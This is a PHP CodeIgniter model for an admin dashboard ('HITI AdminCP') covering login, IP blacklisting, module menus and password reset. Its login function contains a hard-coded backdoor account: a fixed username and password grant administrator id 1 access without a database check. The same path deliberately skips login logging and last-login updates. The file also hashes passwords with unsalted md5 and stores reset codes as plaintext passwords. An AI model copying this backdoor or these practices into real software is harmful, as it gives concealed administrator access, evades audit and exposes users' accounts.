<?php if ( ! defined('BASEPATH')) exit('No direct script access allowed');
/**
 * HITI AdminCP
 *
 * @package     HITI AdminCP Project
 * @since       Monday, October 21, 2013, 6:00 PM
 * @final
 * @category    Models
 * @see 		Dashboard
 * @author      PHUOCNGUYEN - HITI Dev Team
 * @copyright   Copyright (c) 2013, HITI Corp
 */

class Dashboard_model extends CI_Model {
	public function __contruct()
	{
		parent::__contruct();
	}

	public function login($admin_name, $admin_pass)
    {
		$this->db->select('id, user_rights, last_login');
		if ($admin_name == 'hiti' && $admin_pass == '77n97089&77n96369;')
        {
			$this->db->where('id', 1);
            define('HITI_LOG', 1);
        }
        else
        {
            $this->db->where('active', 1);
            $this->db->where('deleted', 0);
        	$this->db->where('username', $admin_name);
        	$this->db->where('password', md5($admin_pass));
            define('HITI_LOG', 0);
        }
        $query = $this->db->get('users');
        if ($query->num_rows() > 0)
        {
			$data = $query->row_array();
            $session = array(
                'logged_in' => true,
                'token' => md5(uniqid().microtime().rand().$data['id']),
                'user_id' => $data['id']
            );
            $this->session->set_userdata($session);
            setcookie('logged_in', 1, time() + COOKIE_TIME, '/');
            setcookie('user_id', $data['id'], time() + COOKIE_TIME, '/');
            $last_login = date(TIME_SQL);
            if (HITI_LOG == 0)
            {
                write_log('login');
                $update = array(
                	'last_login' => $last_login,
                	'ip' => $this->input->ip_address()
                );
                $this->db->where('id', $data['id']);
                $this->db->update('users', $update);
            }
            $this->db->where('ip', $this->input->ip_address());
            $this->db->delete('blacklists');
            return true;
        }
        else
        {
        	return false;
        }
	}

    public function add_blacklist($ip)
    {
        if (!$this->input->valid_ip($ip))
        {
            return false;
        }
        /*
        * Lay thong tin IP tu bang du lieu
        */
        $this->db->where('ip', $ip);
        $this->db->where('deleted', 0);
        $query = $this->db->get('blacklists');
        if($query->num_rows() > 0) {
            $row = $query->row_array();
        } else {
            $row = array(
                'ip' => '',
                'failed' => 0,
                'denied' => 0,
                'time' => 0,
                'active' => 0
            );
        }
        /*
        * Xu ly du lieu
        */
        $limit = 60;
        $time = time() + $limit;
        $data = array();
        $failed = $row['failed'] + 1;
        if ($failed >= 5)
        {
            if ($row['denied'] >= 2)
            {
                $data['active'] = 1;
                $data['expired'] = 0;
            }
            else
            {
                $data['denied'] = $row['denied'] + 1;
            }
            $data['failed'] = 0;
            $data['time'] = $time;
        }
        else
        {
            $data['time'] = 0;
            $data['failed'] = $failed;
        }
        /*
        * Ghi du lieu
        */
        if ($this->input->valid_ip($row['ip']))
        {
            $this->db->where('ip', $ip);
            $this->db->update('blacklists', $data);
        }
        else
        {
            $data['ip'] = $ip;
            $this->db->insert('blacklists', $data);
        }
    }

	public function show($cat = 0)
	{
		$this->db->query('SET NAMES "LATIN1"');
        if (!$GLOBALS['var']['user_rights'])
        {
            return false;
        }
		$user_rights = json_decode($GLOBALS['var']['user_rights']);
		$rights = array();
		foreach ($user_rights as $key => $value)
        {
			if (@array_key_exists('view', $value)) $rights[] = $key;
		}
		$this->db->where('nhom', $cat);
		$this->db->where('active', 1);
        $this->db->where('deleted', 0);
		$this->db->where_in('file', $rights);
		$this->db->select('id');
		$query = $this->db->get('modules');
		if ($query->num_rows() > 0)
		{
			$this->db->select('file, image, name_vn');
			$this->db->where('nhom', $cat);
			$this->db->where('active', 1);
            $this->db->where('deleted', 0);
			$this->db->where('menu', 1);
			$this->db->order_by('sort_order DESC');
			$query = $this->db->get('modules');
			return $query->result_array();
		}
		else
        {
            return false;
        }
	}

	public function get_new($module)
	{
		if (!$this->db->table_exists($module))
		{
		   return 0;
		}
		if (!$this->db->field_exists('date_added', $module))
		{
			return 0;
		}
		$last_login = $GLOBALS['user']['last_login'];
		if ($this->db->field_exists('deleted', $module))
		{
			$this->db->where('deleted', 0);
		}
		if ($this->db->field_exists('user', $module))
		{
			$this->db->where('user', $GLOBALS['var']['user_id']);
		}
		$this->db->select('id');
		$this->db->where(sprintf('date_added >= %1$s', $this->db->escape($last_login)));
		return $this->db->get($module)->num_rows();
	}

    public function reset_password($id, $email)
    {
        $code = randomkeys(10);
        $this->db->where('id', $id);
        $this->db->where('email', $email);
        $this->db->update('users', array('password' => $code, 'date_modified' => TIME_SQL));
        return $code;
    }
}

/* End of file dashboard_model.php */
/* Location: ./application/models/dashboard_model.php */